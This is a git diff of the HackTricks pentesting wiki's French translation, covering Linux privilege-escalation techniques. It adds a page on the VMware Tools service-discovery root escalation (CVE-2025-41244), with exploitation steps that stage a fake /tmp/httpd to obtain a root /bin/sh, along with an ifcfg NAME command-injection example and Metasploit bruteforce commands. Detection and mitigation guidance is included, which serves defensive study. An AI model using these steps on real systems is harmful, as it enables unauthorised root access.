que vous pouvez modifier des logs, vérifiez qui gère ces logs et voyez si vous pouvez escalader les privilèges en substituant les logs par des symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **système est pwned**. +Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** s'il peut **modifier** un existant, alors votre **système est pwned**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). +Les scripts réseau, _ifcg-eth0_ par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourced\~ sur Linux par Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +Dans mon cas, l'attribut `NAME=` dans ces scripts réseau n'est pas géré correctement. Si vous avez **un espace blanc/dans le nom le système tente d'exécuter la partie après l'espace blanc**, cela signifie que **tout ce qui suit le premier espace est exécuté en tant que root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Par exemple : _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Remarque : l'espace blanc entre Network et /bin/id_) +(_Notez l'espace entre Network et /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, et rc.d** -Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. +Le répertoire `/etc/init.d` contient des **scripts** pour System V init (SysVinit), le **système classique de gestion des services Linux**. Il inclut des scripts pour `start`, `stop`, `restart` et parfois `reload` des services. Ils peuvent être exécutés directement ou via des liens symboliques situés dans `/etc/rc?.d/`. Un chemin alternatif sur les systèmes Redhat est `/etc/rc.d/init.d`. -En revanche, `/etc/init` est associé à **Upstart**, un **gestionnaire de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés parallèlement aux configurations Upstart en raison d'une couche de compatibilité dans Upstart. +En revanche, `/etc/init` est associé à **Upstart**, un système plus récent de **gestion des services** introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont encore utilisés parallèlement aux configurations Upstart en raison d'une couche de compatibilité dans Upstart. -**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des automounts et les snapshots d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications de l'administrateur, simplifiant le processus d'administration système. +**systemd** apparaît comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage à la demande des daemons, la gestion des montages automatiques et les snapshots d'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications effectuées par l'administrateur, rationalisant le processus d'administration système. -## Autres Tricks +## Autres astuces ### NFS Privilege escalation @@ -1458,13 +1481,23 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Les Android rooting frameworks hook a syscall pour exposer des fonctionnalités kernel privilégiées à un userspace manager. Une authentification faible du manager (par ex., des vérifications de signature basées sur FD-order ou des schémas de mot de passe faibles) peut permettre à une app locale d'usurper le manager et d'escalader au root sur des appareils déjà-rootés. Plus d'informations et détails d'exploitation ici : +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Une authentification faible du manager (par ex., vérifications de signature basées sur l'ordre des FD ou des schémas de mot de passe faibles) peut permettre à une application locale d'usurper le manager et d'escalader en root sur des appareils déjà rootés. En savoir plus et détails d'exploitation ici: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +La découverte de services pilotée par regex dans VMware Tools/Aria Operations peut extraire un chemin binaire depuis les lignes de commande des processus et l'exécuter avec -v dans un contexte privilégié. Des motifs permissifs (par ex., utilisant \S) peuvent correspondre à des listeners placés par un attaquant dans des emplacements inscriptibles (par ex., /tmp/httpd), conduisant à une exécution en tant que root (CWE-426 Untrusted Search Path). + +En savoir plus et voir un schéma généralisé applicable à d'autres stacks de découverte/monitoring ici : + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) @@ -1474,22 +1507,26 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Outils Privesc Linux/Unix +## Linux/Unix Privesc Tools -### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumère des kernel vulns sur linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumère les vulnérabilités du noyau sous Linux et macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (accès physique):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Références +## References + +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1512,4 +1549,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md new file mode 100644 index 000000000..bcab5244a --- /dev/null +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -0,0 +1,146 @@ +# VMware Tools découverte de services LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244) + +{{#include ../../banners/hacktricks-training.md}} + +Cette technique exploite des pipelines de découverte de services pilotés par des regex qui analysent les lignes de commande des processus en cours pour déduire les versions des services, puis exécutent un binaire candidat avec l'option "version". Lorsque des motifs permissifs acceptent des chemins non fiables contrôlés par l'attaquant (par ex. /tmp/httpd), le collecteur privilégié exécute un binaire arbitraire depuis un emplacement non fiable, entraînant une élévation de privilèges locale. NVISO a documenté cela dans VMware Tools/Aria Operations Service Discovery comme CVE-2025-41244. + +- Impact : Élévation locale des privilèges vers root (ou vers le compte de discovery privilégié) +- Root cause : Untrusted Search Path (CWE-426) + permissive regex matching of process command lines +- Affected : open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) + +## Comment fonctionne la découverte de services VMware (vue d'ensemble) + +- Credential-based (legacy) : Aria exécute des scripts de découverte à l'intérieur du guest via VMware Tools en utilisant des identifiants privilégiés configurés. +- Credential-less (modern) : La logique de découverte s'exécute au sein de VMware Tools, déjà privilégiée dans le guest. + +Les deux modes exécutent finalement une logique shell qui scanne les processus ayant des sockets à l'écoute, extrait un chemin de commande correspondant via une regex, et exécute le premier token argv avec un paramètre de version. + +## Cause racine et modèle vulnérable (open-vm-tools) + +Dans open-vm-tools, le script du plugin serviceDiscovery get-versions.sh matche les binaires candidats en utilisant des expressions régulières larges et exécute le premier token sans aucune validation du chemin de confiance : +```bash +get_version() { +PATTERN=$1 +VERSION_OPTION=$2 +for p in $space_separated_pids +do +COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") +[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND +done +} +``` +Il est invoqué avec des motifs permissifs contenant \S (caractère non-espace) qui correspondent facilement à des chemins non système dans des emplacements inscriptibles par l'utilisateur : +```bash +get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v +get_version "/usr/(bin|sbin)/apache\S*" -v +get_version "/\S+/mysqld($|\s)" -V +get_version "\.?/\S*nginx($|\s)" -v +get_version "/\S+/srm/bin/vmware-dr($|\s)" --version +get_version "/\S+/dataserver($|\s)" -v +``` +- L'extraction utilise grep -Eo et prend le premier token : ${COMMAND%%[[:space:]]*} +- Aucune whitelist/allowlist des chemins système de confiance ; tout listener découvert dont le nom correspond est exécuté avec -v/--version + +Cela crée une primitive d'exécution par chemin de recherche non fiable : des binaires arbitraires situés dans des répertoires world-writable (par ex. /tmp/httpd) sont exécutés par un composant privilégié. + +## Exploitation (modes sans credentials et avec credentials) + +Preconditions +- Vous pouvez exécuter un processus non privilégié qui ouvre un socket d'écoute sur le guest. +- Le discovery job est activé et s'exécute périodiquement (historiquement ~5 minutes). + +Steps +1) Placez un binaire dans un chemin correspondant à l'un des regex permissifs, par ex. /tmp/httpd ou ./nginx +2) Exécutez-le en tant qu'utilisateur peu privilégié et assurez-vous qu'il ouvre un socket d'écoute quelconque +3) Attendez le cycle de discovery ; le collector privilégié exécutera automatiquement : /tmp/httpd -v (ou similaire), lançant votre programme en tant que root + +Minimal demo (en utilisant l'approche de NVISO) +```bash +# Build any small helper that: +# - default mode: opens a dummy TCP listener +# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i) +# Example staging and trigger +cp your_helper /tmp/httpd +chmod +x /tmp/httpd +/tmp/httpd # run as low-priv user and wait for the cycle +# After the next cycle, expect a root shell or your privileged action +``` +Enchaînement de processus typique +- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i + +Artefacts (credential-based) +Les scripts wrapper SDMP récupérés sous /tmp/VMware-SDMP-Scripts-{UUID}/ peuvent montrer l'exécution directe du chemin malveillant : +```bash +/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" +``` +## Généralisation de la technique: regex-driven discovery abuse (portable pattern) + +De nombreux agents et suites de surveillance implémentent la discovery de version/service en : +- Énumérant les processus avec des sockets en écoute +- Greppant argv/command lines avec des regex permissifs (par ex., des patterns contenant \S) +- Exécutant le chemin correspondant avec un flag bénin comme -v, --version, -V, -h + +Si le regex accepte des chemins non fiables et que le chemin est exécuté depuis un contexte privilégié, vous obtenez CWE-426 Untrusted Search Path execution. + +Abuse recipe +- Nommez votre binaire comme des daemons courants que le regex est susceptible de faire correspondre : httpd, nginx, mysqld, dataserver +- Placez-le dans un répertoire inscriptible : /tmp/httpd, ./nginx +- Assurez-vous qu'il correspond au regex et ouvre un port pour être énuméré +- Attendez le collecteur planifié ; vous obtenez une invocation privilégiée automatique de -v + +Masquerading note: Ceci s'aligne sur MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) pour augmenter la probabilité de correspondance et la furtivité. + +Reusable privileged I/O relay trick +- Construisez votre helper de sorte que lors d'une invocation privilégiée (-v/--version) il se connecte à un rendezvous connu (par ex., une socket UNIX abstraite Linux comme @cve) et relie stdio à /bin/sh -i. Cela évite les artefacts sur disque et fonctionne dans de nombreux environnements où le même binaire est ré-invoqué avec un flag. + +## Detection and DFIR guidance + +Hunting queries +- Enfants inhabituels de vmtoolsd ou get-versions.sh tels que /tmp/httpd, ./nginx, /tmp/mysqld +- Toute exécution de chemins absolus non-système par des scripts de découverte (cherchez des espaces dans les expansions ${COMMAND%%...}) +- ps -ef --forest pour visualiser les arbres d'ascendance : vmtoolsd -> get-versions.sh -> + +On Aria SDMP (credential-based) +- Inspectez /tmp/VMware-SDMP-Scripts-{UUID}/ pour des scripts transitoires et des artefacts stdout/stderr montrant l'exécution de chemins malveillants + +Policy/telemetry +- Alerter lorsque des collectors privilégiés s'exécutent depuis des préfixes non-système : ^/(tmp|home|var/tmp|dev/shm)/ +- Surveillance d'intégrité des fichiers sur get-versions.sh et les plugins VMware Tools + +## Mitigations + +- Patch : Appliquez les mises à jour Broadcom/VMware pour CVE-2025-41244 (Tools and Aria Operations SDMP) +- Désactivez ou restreignez la découverte sans credentials lorsque possible +- Validez les chemins de confiance : restreignez l'exécution aux répertoires autorisés (/usr/sbin, /usr/bin, /sbin, /bin) et uniquement aux binaires exacts connus +- Évitez les regex permissifs contenant \S ; privilégiez des chemins absolus ancrés et explicites et des noms de commande exacts +- Abaissez les privilèges des helpers de découverte quand possible ; sandboxez (seccomp/AppArmor) pour réduire l'impact +- Surveillez et alertez sur vmtoolsd/get-versions.sh s'exécutant depuis des chemins non-système + +## Notes for defenders and implementers + +Modèle d'appariement et d'exécution plus sûr +```bash +# Bad: permissive regex and blind exec +COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") +[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v + +# Good: strict allowlist + path checks +candidate=$(get_command_line "$pid" | awk '{print $1}') +case "$candidate" in +/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2) +"$candidate" -v 2>&1 ;; +*) +: # ignore non-allowlisted paths +;; +esac +``` +## Références + +- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) +- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149) +- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh) +- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/) +- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index ea0f87d83..c3c2668d3 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,16 +1,26 @@ +# VMware ESX / vCenter Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Énumération +## Énumération ```bash nmap -sV --script "http-vmware-path-vuln or vmware-version" -p msf> use auxiliary/scanner/vmware/esx_fingerprint msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` -# Bruteforce +## Bruteforce ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Si vous trouvez des identifiants valides, vous pouvez utiliser d'autres modules de scanner Metasploit pour obtenir des informations. +Si vous trouvez des identifiants valides, vous pouvez utiliser davantage de metasploit scanner modules pour obtenir des informations. + +### Voir aussi + +Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244): + +{{#ref}} +../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}}